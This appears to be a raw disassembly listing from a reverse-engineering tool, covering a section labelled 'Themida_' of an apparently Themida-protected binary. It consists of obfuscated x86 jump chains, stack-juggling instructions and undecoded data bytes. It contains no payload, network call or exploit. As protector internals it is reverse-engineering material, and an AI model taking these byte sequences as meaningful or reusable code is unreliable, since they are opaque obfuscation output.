loc_558999:				; CODE XREF: Themida_:00551860j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_554E2C
; ---------------------------------------------------------------------------
		dd 140968h, 24148900h, 24148B54h, 5104C483h, 4B9h, 49B85000h
		dd 2917EF1Ch, 0EA8158C2h, 521F6563h, 235EA81h, 0CA0173BBh
		dd 235C281h, 0C28173BBh, 521F6563h, 0FFCE9CE9h,	2474FFFFh
		dd 48F5904h, 24248B24h,	9C240408h, 0FF6DBEE9h, 15CE68FFh
		dd 0D15B799Dh, 0F7DBF7EBh, 9EB81D3h, 89F7543Dh,	8B0DE9DEh
		dd 0E688FFFFh, 5AF00058h, 2AB2525Bh, 754E9h, 5AC28100h
		dd 105AA1Bh, 5AEA81EAh,	0E905AA1Bh, 0FFFF866Fh
; ---------------------------------------------------------------------------


loc_558A30:				; CODE XREF: Themida_:005514C8j
		pop	dword ptr [edi+24h]
		pop	ecx


loc_558A34:				; CODE XREF: Themida_:0055A1E8j
		sub	esp, 4
		jmp	loc_54F8D8
; ---------------------------------------------------------------------------


loc_558A3F:				; CODE XREF: Themida_:00553847j
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_55037D
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0FFAD8BE9h, 4C781FFh, 83000000h, 31E904C7h, 0FFFFFFC2h
		dd 8B042474h, 0E9562414h, 0FFFF8D62h, 0E9241487h, 2982h
; ---------------------------------------------------------------------------


loc_558A78:				; CODE XREF: Themida_:00559C16j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_55B494
; ---------------------------------------------------------------------------
		dw 487h
		dd 34FF5C24h, 24048B24h, 4C481h, 0C4830000h, 57565104h
		dd 0EF369FBFh, 3F62BE51h, 0FE2987A8h, 3141B95Fh, 0F1314211h
		dd 1A6CE9h, 24348700h, 8F24248Bh, 665C2404h, 5624048Bh
		dd 0C6815E54h, 4, 119368h, 242C8900h, 0B978CBBDh, 0D1D5F778h
		dd 0B9A8E9EDh, 0E952FFFFh, 0FFFFA866h, 72DDDABBh, 0F0F1E913h
		dd 285AFFFFh, 59665BF8h, 88686659h, 0C896657h, 79256824h
		dd 4890000h, 6888B424h,	7F8h, 0E9241489h, 0FFFFC88Ah
; ---------------------------------------------------------------------------


loc_558B18:				; CODE XREF: Themida_:0055AE4Bj
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 5Dh,	0B9h, 0D0h
		dd 0E965187Ch, 0FFFF9890h, 0B60F5966h, 48F66C0h, 6C7DE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B36:				; CODE XREF: Themida_:00554D8Aj
		mov	ecx, 541556F0h
		xor	ebp, ecx
		pop	ecx
		pop	ecx
		add	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_558B4C:				; CODE XREF: Themida_:00555FE9j
		push	2010h
		mov	[esp], ebx
		push	edx
		mov	edx, 597B3005h
		jmp	loc_54FA50
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7BE781D7h, 0E915801Eh, 0FFFF7A11h, 0EB81C301h, 572459BFh
		dd 65DAC381h, 0FF660398h, 0A70AE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B82:				; CODE XREF: Themida_:005528D5j
		push	ebx
		mov	ebx, 33440566h
		mov	ecx, ebx
		jmp	loc_55A0DD
; ---------------------------------------------------------------------------


loc_558B8F:				; CODE XREF: Themida_:0055559Bj
		push	800000h
		mov	ecx, [esp]
		jmp	loc_551C17
; ---------------------------------------------------------------------------
aBuinS		db 'ã©NÎ^éÂ)',0
		dw 0BE00h
		dd 44CD264Bh, 0E95EF329h, 0FFFFF011h, 3D4BD55h,	0E8095AB6h
		dd 0FFE564E9h
		db 0FFh
byte_558BC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054F620o
		dd 43E95324h, 1FFFF9Dh,	0BE565FFAh, 4, 875EF201h, 0BEE92414h
		dd 0BEFFFF6Dh, 0E17BFDEFh, 31E9C601h, 89FFFFCAh, 4C181E1h
		dd 83000000h, 0C8704E9h, 3C895C24h, 7A54BF24h, 0C381775Dh
		dd 38CD59F4h, 0EB81FB29h, 38CD59F4h, 53243C8Bh,	0A1E9E389h
		dd 5DFFFFEBh, 5104C183h, 42474FFh, 24048F59h, 0E924248Bh
		dd 0FFFFF638h, 4C3815Bh, 0E9000000h, 0FFFFABF6h, 34E9FA01h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558C43:				; CODE XREF: Themida_:0054F801j
		pop	esi
		push	ebx
		push	ebp
		push	227B21B6h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55B85F
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFE0E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558C6D:				; CODE XREF: Themida_:0055263Bj
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55707C
; ---------------------------------------------------------------------------


loc_558C7A:				; CODE XREF: Themida_:0055AC88j
		push	edx
		jmp	loc_55A9CD
; ---------------------------------------------------------------------------


loc_558C80:				; CODE XREF: Themida_:0054FCB3j
		pop	eax
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 5C24048Fh, 9C242CD3h, 0FF6B0AE9h,	2B9FFh
		dd 0CA010000h, 24143359h, 33241431h, 0D35C2414h, 0E99C240Ch
		dd 0FFFF6AEFh
; ---------------------------------------------------------------------------


loc_558CC4:				; CODE XREF: Themida_:0055A3F6j
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_551382
; ---------------------------------------------------------------------------
byte_558CD3	db 66h			; DATA XREF: Themida_:0054F6C8o
		dd 0E9240C8Bh, 1ADAh, 0A85AE959h, 815EFFFFh, 4C6h, 4B85000h
		dd 81000000h, 6E48BEC6h, 81C60129h, 6E48BEEEh, 34335829h
		dd 9BADE924h, 0A9BFFFFFh, 8119DE0Ah, 3A28F7F7h,	0DFC78174h
		dd 8145FD39h, 0AC39A5C7h, 0E7814758h, 23E492Fh,	768BF781h
		dd 0F909337Ch, 53D1F75Fh, 49B7BD55h, 0AAE9071Ch, 0C1000010h
		dd 36E904E5h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558D43:				; CODE XREF: Themida_:0055B523j
		mov	eax, [esp]
		push	esi
		jmp	loc_556586
; ---------------------------------------------------------------------------
		dd 0B252D9F6h, 80D2F6C6h, 0E28004C2h, 0D3CA8053h, 30A1F280h
		dd 0CF205AD1h, 0FEB25259h, 0E95ECA80h, 0FFFF6D21h, 6FBA68h
		dd 241C8900h, 0C3803EB3h, 0E074E9C6h, 1487FFFFh, 24248B24h
		dd 0F1B65266h, 21E9E9h,	6A1DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 0E0F4229h
		add	ebx, 6F253FCAh
		shr	ebx, 2
		jmp	loc_55B8AD
; ---------------------------------------------------------------------------
		db 1
		dd 0FF525BDAh, 0E9042474h, 0FFFFB82Eh, 57240489h, 2745E68h
		dd 0E7C15F4Ch, 5E7C108h, 0FF797CE9h, 241C8BFFh,	8304C483h
		dd 148704C2h, 34FF5C24h, 240C8B24h, 68E08950h, 1B17h, 0FF959CE9h
		dd 5EF521FFh, 0FFA774E9h, 0D8E780FFh, 52F9E780h, 0EF803CB2h
		dd 80D700A3h, 0E95AA3C7h, 0FFFFA446h, 4C381h, 0C3830000h
		dd 241C8704h, 4C4815Ch,	52000000h, 4BAh, 9EC58100h, 1503C47h
		dd 9EED81D5h, 0E9503C47h, 2A91h, 0E9243C89h, 0FFFFED70h
		dd 0F181D9F7h, 0CE6AB84Ch, 0FFAE2EE9h, 0E56853FFh, 5B3FF335h
		dd 5484F381h, 0EBC17432h, 6CB85004h, 2176F735h,	3FE958C3h
		dd 8FFFFF6Ch, 89522404h, 4C281E2h, 0E9000000h, 0FFFFAA0Ah
		dd 5C241C87h, 89240C89h, 0BEBB53E1h, 0D13C4920h, 802E9EBh
		dd 0E3890000h, 4C381h, 0C3830000h, 241C8704h, 5854505Ch
		dd 4B951h, 0C8010000h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	1EA5h
		mov	[esp], ebx
		mov	ebx, 43805859h
		jmp	loc_550B1F
; ---------------------------------------------------------------------------
		db 89h
		dd 6850240Ch, 138E1C2Dh, 0FFF17BE9h, 0C8C681FFh, 0E94F612Dh
		dd 0FFFFD419h, 4C28159h, 68000000h, 1C34h, 0FF241489h
		dd 5A042474h, 0E924048Fh, 0FFFFAE66h, 5C24048Fh, 89241C89h
		dd 4C381E3h, 52000000h,	2BAh, 75C38100h, 10BA563h, 7671E9D3h
		dd 0ED81FFFFh, 7B686AFBh, 83240C8Bh, 67E904C4h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F53:				; CODE XREF: Themida_:00557FD3j
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54FDE9
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 7Fh
		dd 1748E9h, 14875D00h, 24248B24h, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 1EB468h, 242C8900h, 0DF18E951h, 0EF00FFFFh
		dd 0E9BEC780h, 0FFFFBA68h
; ---------------------------------------------------------------------------


loc_558F94:				; CODE XREF: Themida_:00556DA8j
		xor	esi, [esp]
		pop	esp
		push	6DFAh
		mov	[esp], edx
		mov	edx, 0CB472B1h
		sub	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	5F88h
		mov	[esp], ebp
		mov	ebp, 800h
		and	ecx, ebp
		jmp	loc_551DC0
; ---------------------------------------------------------------------------
		db 0BFh, 0FFh, 50h
		dd 21E9214Dh, 0E9FFFF96h, 0FFFF67DFh, 0D3F6F388h, 0FFA3FFE9h
		dd 0F75159FFh, 0E959241Ch, 0FFFF6991h, 4EC8359h, 0BF243C89h
		dd 4, 51A6E981h, 0F9011E7Eh, 51A6C181h,	525F1E7Eh, 0AD070CBAh
		dd 0D0BD5540h, 2161A61Ch, 0C2815DEAh, 0FFFFFFFFh, 0FFF865E9h
		dd 885051FFh, 8849E9DCh, 0C281FFFFh, 0B9DD38DEh, 4245429h
		dd 52E9535Ah
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_559037:				; CODE XREF: Themida_:00554B76j
		and	esi, ecx
		pop	ecx
		or	esi, 0CF1B98h
		jmp	loc_552053
; ---------------------------------------------------------------------------


loc_559045:				; CODE XREF: Themida_:005568A7j
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55B88C
; ---------------------------------------------------------------------------


loc_55905C:				; CODE XREF: Themida_:00552A41j
		sub	ebx, 0B7056Ah
		add	ebx, esi
		jmp	loc_550B4A
; ---------------------------------------------------------------------------
byte_559069	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054F518o
		dd 41685024h, 54000014h, 0FF98C5E9h, 41F581FFh,	29DEE455h
		dd 0CE015DE9h, 0FFBE6FE9h, 70E950FFh, 0F7FFFF8Eh, 7032E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559096:				; CODE XREF: Themida_:00551C27j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_55BC16
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 91h
		dd 139B638h, 91EE81CEh,	5939B638h, 0FF98E6E9h, 4C481FFh
		dd 81000000h, 0E6164EBh, 0E9C30159h, 0FFFF82E1h, 5D41CE81h
		dd 0CE81243Eh, 4B7051F0h, 5DFFF681h, 0F001EF7Eh, 95A1E95Eh
		dd 0F9F6FFFFh, 0FFCC10E9h, 5DE831FFh, 3C9EB81h,	0B1E918E4h
		dd 0BBFFFFC6h, 7ECF03C8h, 0AB4A11BFh, 5BDF01C6h, 0FFD459E9h
		dd 244401FFh, 815A5804h, 4ECh, 243C8900h, 213377BFh, 0CBCF810Dh
		dd 471A8F56h, 0FFCA61E9h, 4C483FFh, 0E9240431h,	0FFFF667Fh
		dd 50241C89h, 0E788EAB4h, 0FF8983E9h, 4C483FFh,	81E28952h
		dd 4C2h, 4EA8300h, 0E9241487h, 0FFFFD5A7h, 5504B951h, 0BE930EBh
		dd 81000012h, 2C5h, 242C8700h, 1CACE9h,	1EA8000h, 0FFA7ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559179:				; CODE XREF: Themida_:00559354j
		add	esp, 4
		push	ecx
		mov	ecx, 80000h
		and	eax, ecx
		jmp	loc_55B058
; ---------------------------------------------------------------------------
dword_55918C	dd 8B2434FFh, 54552404h, 7F1EE95Dh, 4BFFFFFh, 1000000h
					; DATA XREF: Themida_:0054F5BCo
		dd 4875FF8h, 50E95C24h
		db 72h,	2 dup(0FFh)
byte_5591AB	db 66h			; DATA XREF: Themida_:0054F5F8o
		dd 68240C8Bh, 492Dh, 0E9243C89h, 206Dh
dword_5591BC	dd 24048B66h, 4F8068h, 24148900h, 0FFA67FE9h, 59CE30FFh
					; DATA XREF: Themida_:0054F5B8o
		dd 0FFE37FE9h, 8EBD55FFh, 0E9139C3Dh, 0FFFFBF60h, 0FFFBFF68h
		dd 24148BFFh, 4C481h, 57210000h, 2434FF1Ch, 4803685Ah
		dd 5EE90000h, 0B5FFFFAEh, 0E9EB007Ah, 0FFFFF920h, 2BA52h
		dd 0D1010000h, 0B9AEE95Ah, 0EE80FFFFh, 5AF78825h, 0E9EFB551h
		dd 0FFFFCFF1h
; ---------------------------------------------------------------------------


loc_559224:				; CODE XREF: Themida_:0055BF89j
		mov	edx, edi
		pop	edi
		xor	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 21D10CC2h
		xor	eax, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 6095B6Fh
		push	esi
		mov	esi, 0EF018C6h
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 0EF018C6h
		jmp	loc_558842
; ---------------------------------------------------------------------------
		db 50h,	52h, 0B6h
		dd 0F6D6F602h, 68DEF6DEh, 0
		dd 69242C80h, 0E9243428h, 1F8h,	0E9F0315Dh, 11CFh, 4C681h
		dd 34330000h, 24343124h, 8B243433h, 34FF2424h, 2434FF24h
		dd 25FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5592B9:				; CODE XREF: Themida_:0055ADE8j
		mov	edx, 7E9A3465h
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 7E9A3465h
		jmp	loc_556111
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0D0E92424h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5592E3:				; CODE XREF: Themida_:0055237Bj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_552337
; ---------------------------------------------------------------------------
		dd 7FF7815Eh, 1E09EACh,	0C3015FF8h, 0E389E958h
		db 2 dup(0FFh)
word_559302	dw 8B66h		; DATA XREF: Themida_:0054F554o
		dd 0EC83240Ch, 243C8904h, 4EC81h, 24890000h, 4BB5324h
		dd 1000000h, 5B04245Ch,	81243C8Bh, 4C4h, 4C78100h, 50000000h
		dd 0C925D6B8h, 33952D22h, 0E0C14A1Ah, 5D0F702h,	62BBC907h
		dd 11CFC781h, 0C7012D5Eh, 0FF7582E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559351:				; CODE XREF: Themida_:00554C8Fj
		mov	esi, [esp]
		jmp	loc_559179
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0E9h
		dd 0FFFFDBD3h, 50242C89h, 405E089h, 0E9000000h,	1512h
		dd 68240489h, 501Dh, 2611E954h,	0EB680000h, 8B7F545Bh
		dd 0A9E92404h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55938B:				; CODE XREF: Themida_:0055A760j
		not	eax
		inc	eax
		not	eax
		and	eax, 6F6F561Fh
		push	ecx
		mov	ecx, 1095170Fh
		add	eax, ecx
		jmp	loc_5516C4
; ---------------------------------------------------------------------------
		dw 0AB68h
		dd 8B01282Ch, 0C481241Ch, 4, 0F381DBF7h, 5A047CDBh, 6F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5593BD:				; CODE XREF: Themida_:005595D7j
		pop	dword ptr [ecx]
		pop	ecx
		mov	eax, [esp]
		push	5225h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5568CE
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 9221E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5593E6:				; CODE XREF: Themida_:00554F1Bj
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5508F0
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 4
		dd 74F58145h, 0E97A1ABCh, 0FFFF7A42h, 0B551E800h, 0FEDDF69Eh
		dd 2BED80CDh, 0CE9CDFEh, 87FFFF96h, 0E95C242Ch,	0FFFFC784h
		dd 83D9B652h, 1C8904ECh, 88F78824h, 285A5BF8h, 805866C3h
		dd 85E919C3h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559437:				; CODE XREF: Themida_:0055B7A6j
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], ecx
		push	eax
		push	esi
		mov	esi, 5915086Dh
		and	esi, 38BB15AAh
		push	ecx
		mov	ecx, 204E368Bh
		jmp	loc_554C10
; ---------------------------------------------------------------------------
		dd 6559E952h, 0E953FFFFh, 0FFFFFA32h, 2434895Ch, 0E9E95E54h
		dd 0FFFFFFFFh, 68582434h, 212Bh, 54240C89h, 4C18159h, 0E9000000h
		dd 0FFFF9E52h, 69240480h, 8324348Ah, 0C68004C4h, 76E953FBh
		dd 0C1FFFFD6h, 0E94807E8h, 0FFFF7E4Bh, 0F468D831h, 8900000Fh
		dd 0AABA2414h, 4A6BD228h, 0E2D1D2F7h, 1548CA81h, 0E9557303h
		dd 0FFFFD375h, 0DDE9F000h, 81FFFF63h, 4ECh, 243C8900h
		dd 0BD555F54h, 3B3B0983h, 0E5C1454Dh, 0EFBF5705h, 0E9509042h
		dd 2693h, 0CF33F581h, 0EF01C62Eh, 83242C8Bh, 0FEE904C4h
		dd 81FFFFCDh, 4C4h, 4C28100h, 56000000h, 4BEh, 5EF22900h
		dd 570E9h
		db 0
byte_55951D	db 0ACh, 51h, 0B5h	; DATA XREF: Themida_:0054F598o
		dd 0E710E9A2h, 0BD55FFFFh, 77A83982h, 4246C01h,	0FFB50BE9h
		dd 566866FFh, 1C89666Fh, 30B724h, 45B66F8h, 241C8B87h
		dd 0FFB9F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55954D:				; CODE XREF: Themida_:005551AFj
		pop	ebp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		jmp	loc_55A275
; ---------------------------------------------------------------------------
		db 81h
		dd 0E403C9C3h, 8F6618h,	0FFD014E9h, 0E9DFF7FFh,	0FFFF9876h
		dd 158C501h, 0C3015DEBh, 7642B951h, 0C38156BCh,	4D46359Fh
		dd 0EB81CB29h, 4D46359Fh, 0FFC9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559596:				; CODE XREF: Themida_:0055B795j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_555F49
; ---------------------------------------------------------------------------


loc_5595A5:				; CODE XREF: Themida_:00550B27j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 67312A5Bh
		jmp	loc_550C1B
; ---------------------------------------------------------------------------
		db 20h,	0F0h, 0E9h
		dd 0FFFFA301h, 0E99C5166h, 0FFFF61EFh
; ---------------------------------------------------------------------------


loc_5595C4:				; CODE XREF: Themida_:005582D6j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5593BD
; ---------------------------------------------------------------------------
		dd 7BED815Dh, 8173FC57h, 0CB1937EDh, 0CA13E96Ah, 6858FFFFh
		dd 5178h, 0BB241C89h, 20F35C4h,	0FF7600E9h, 0D83166FFh
		dd 78796866h, 24148966h, 0EE768h, 0AB1FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559616:				; CODE XREF: Themida_:00551990j
		xor	ecx, 29842706h
		or	edi, ecx
		pop	ecx
		inc	edi
		xor	edi, 0DDD34B6Ch
		jmp	loc_550BAE
; ---------------------------------------------------------------------------


loc_55962B:				; CODE XREF: Themida_:00552AAAj
		pop	ebp
		jmp	loc_558860
; ---------------------------------------------------------------------------
		db 89h,	0EFh, 89h
		dd 0E2E95FFBh, 89FFFFF4h, 4368240Ch, 59345B51h,	0FFB89DE9h
		dd 0E28952FFh, 4BE56h, 0F2010000h, 0A42FE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55965A:				; CODE XREF: Themida_:005526EDj
		mov	ebx, eax
		jmp	loc_556C34
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 0A335E904h, 44E9FFFFh, 8BFFFF61h, 0C483241Ch, 7BF4E904h
		dd 51B8FFFFh, 0E91E4455h, 0FFFFBCE6h, 53240489h, 0FF7049E9h
		db 0FFh
byte_55968D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054F768o
		dd 0D359669Dh, 0E99C241Ch, 0FFFF6117h, 905BEB81h, 45E91E24h
		dd 5C000009h, 0BF57D829h, 27440D15h, 7E78B951h,	0E9815F3Ch
		dd 490A0C40h, 8103E1C1h, 933ADC1h, 0E9C781F6h, 0E935CE6Ah
		dd 0FFFFA12Bh, 44E9E901h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5596D7:				; CODE XREF: Themida_:0054F7E0j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_551962
; ---------------------------------------------------------------------------
word_5596E6	dw 48Bh			; DATA XREF: Themida_:0054F648o
		dd 9CC5E924h
		db 2 dup(0FFh)
word_5596EE	dw 8B66h		; DATA XREF: Themida_:0054F60Co
		dd 0EC812404h, 4, 89240C89h, 4BE56E1h, 0E9000000h, 0FFFF9AA6h
		dd 0CC29FEBBh, 56DBF70Eh, 0FC8CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559716:				; CODE XREF: Themida_:00556864j
		mov	eax, 4A560A2Fh
		jmp	loc_55A78A
; ---------------------------------------------------------------------------
		dd 23E95804h, 81FFFF73h, 70FCC3C7h, 0DCDCE907h,	8951FFFFh
		dd 4BD55E1h, 1000000h, 0C1835DE9h, 240C8704h, 78BE565Ch
		dd 814D0063h, 0FF9C8CC6h, 66C181B2h, 1216446h, 66E981F1h
		dd 0E9216446h, 0FFFFC331h, 2474FF51h, 48F5904h,	24248B24h
		dd 9C2424D3h, 0FF603AE9h, 0D6015AFFh, 0FFF778E9h
		db 0FFh
byte_559781	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:0054F56Co
		dd 8904EC83h, 57BD242Ch, 0E927A35Ah, 0FFFFD4C3h, 52DD801h
		dd 5708492Ch, 5C76B1BFh, 0A8BE5609h, 21178565h,	0EF815EF7h
		dd 0F17BE51Ch, 0B9E9F801h, 0C0FFFFD7h, 0EB8002EBh, 5BD928E7h
		dd 6602EC83h, 50241C89h, 0C788B4B0h, 66F93058h,	0B6BEE95Bh
		db 2 dup(0FFh)
word_5597D6	dw 8B66h		; DATA XREF: Themida_:0054F590o
		dd 0E468240Ch, 8900003Eh, 9EE92414h, 5A000004h,	7758DFBFh
		dd 2E7C159h, 1B71C781h,	0F7810198h, 7A7E9AD8h, 0E95EF701h
		dd 0FFFF76CAh, 6EF18166h, 0C1816649h, 0E95769BFh, 0FFFF9457h
		dd 81240C8Bh, 4C4h, 24048F00h, 2404895Ch, 0FFF7A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559829:				; CODE XREF: Themida_:00555203j
		push	edx
		jmp	loc_55B3CB
; ---------------------------------------------------------------------------
		db 59h
		dd 46FE953h
		db 2 dup(0)
word_559836	dw 8B66h		; DATA XREF: Themida_:0054F5A4o
		dd 4F68240Ch, 89000025h, 0E589242Ch, 4C581h, 0EC830000h
		dd 9384E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559852:				; CODE XREF: Themida_:00555984j
		mov	ecx, [esp]
		add	esp, 4
		mov	ch, al
		pop	eax
		push	ax
		jmp	loc_55176A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0B5h
		dd 15F5660h, 0A92DE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559872:				; CODE XREF: Themida_:00551BA4j
		shl	ebx, 1
		and	ebx, 781B28B0h
		sub	ebx, 93576354h
		mov	ebp, ebx
		jmp	loc_554CD1
; ---------------------------------------------------------------------------


loc_559887:				; CODE XREF: Themida_:00551950j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5575AB
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0DBh
		dd 8BFFFFD2h, 0BC682424h, 8900006Ah, 5053240Ch,	27A8E9h
		dd 0E99B0400h, 0FFFF92E9h, 2A90EA81h, 0EA8120F3h, 5A2F55EBh
		dd 0FFF504E9h, 7E8AB8FFh, 31E946F9h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5598DB:				; CODE XREF: Themida_:00551884j
		add	ebx, edx
		jmp	loc_55622D
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 0D4E28106h, 816B3014h, 0DE1399F2h, 5AD12112h, 3A0AC181h
		dd 0BA521700h, 2AB92E3Fh, 0C2E9D301h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559907:				; CODE XREF: Themida_:005548BDj
		mov	[esp], edi
		jmp	loc_5553CF
; ---------------------------------------------------------------------------
		db 68h
		dd 7353h, 54240489h, 40558h, 0E2E90000h, 0E900000Bh, 0FFFF5E8Bh
; ---------------------------------------------------------------------------


loc_559928:				; CODE XREF: Themida_:0055399Aj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5506A6
; ---------------------------------------------------------------------------


loc_559933:				; CODE XREF: Themida_:00551AFBj
		and	eax, edx
		jmp	loc_558336
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4BA52h, 0D6290000h, 6D10E95Ah, 0C33FFFFh,	0BB50E924h
		dd 4BEFFFFh, 1000000h, 0C335EF1h, 240C3124h, 5C240C33h
		dd 2B1D68h, 0C964E900h,	8B66FFFFh, 9A682414h, 89000044h
		dd 0E6892434h, 4C681h, 0BD550000h, 2, 875DEE01h, 248B2434h
		dd 0E9C33024h, 2640h, 4C483h, 0D03059EAh, 5A2434FFh, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 535C241Ch, 30B768h, 240C8900h
		dd 0ED8055B5h, 62ACE901h, 3C8BFFFFh, 0A967E924h, 68FFFFh
		dd 0E9000000h, 0FFFFC3DEh
dword_5599E0	dd 0E940478Fh, 0FFFF5DCBh, 8244401h, 0FFBBDEE9h
					; DATA XREF: Themida_:0054F5FCo
		db 0FFh
; ---------------------------------------------------------------------------


loc_5599F1:				; CODE XREF: Themida_:00556979j
		push	edx
		jmp	loc_557B8C
; ---------------------------------------------------------------------------
		db 53h
		dd 8014B151h, 0C9FE9BE1h, 888DF180h, 240C8BCBh,	0FFBB00E9h
		dd 0BFF281FFh, 8977BF7Eh, 24148BD3h, 4C481h, 0ACE90000h
		dd 81FFFF8Ah, 1F5EE3C2h, 0D7C28101h, 5B4D9749h,	0E904C283h
		dd 0FFFFF038h
dword_559A38	dd 24048B66h, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 89243489h
					; DATA XREF: Themida_:0054F638o
		dd 8EBB53E6h, 0C10E773Dh, 0EB8304EBh, 0FFBD55FFh, 1FFFFFFh
		dd 0CF7DE9EBh, 0DAB8FFFFh, 291DD15Dh, 0EA8159C8h, 3B96E4Fh
		dd 76E9C201h, 87FFFFC9h, 685C2434h, 1DEEh, 0FFABB2E9h
		dd 241487FFh, 0E924248Bh, 0FFFFD0E0h, 0EC81D987h, 4, 0BD242C89h
		dd 61D657A2h, 4D06EDC1h, 0FFCDFBE9h, 1DF381FFh,	89D589C9h
		dd 0F6815BDEh, 376130ABh, 0C7E9F321h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AC7:				; CODE XREF: Themida_:0054FC68j
		xor	esi, eax
		xor	eax, esi
		not	esi
		push	eax
		push	3B83h
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_551A39
; ---------------------------------------------------------------------------
		dw 0C781h
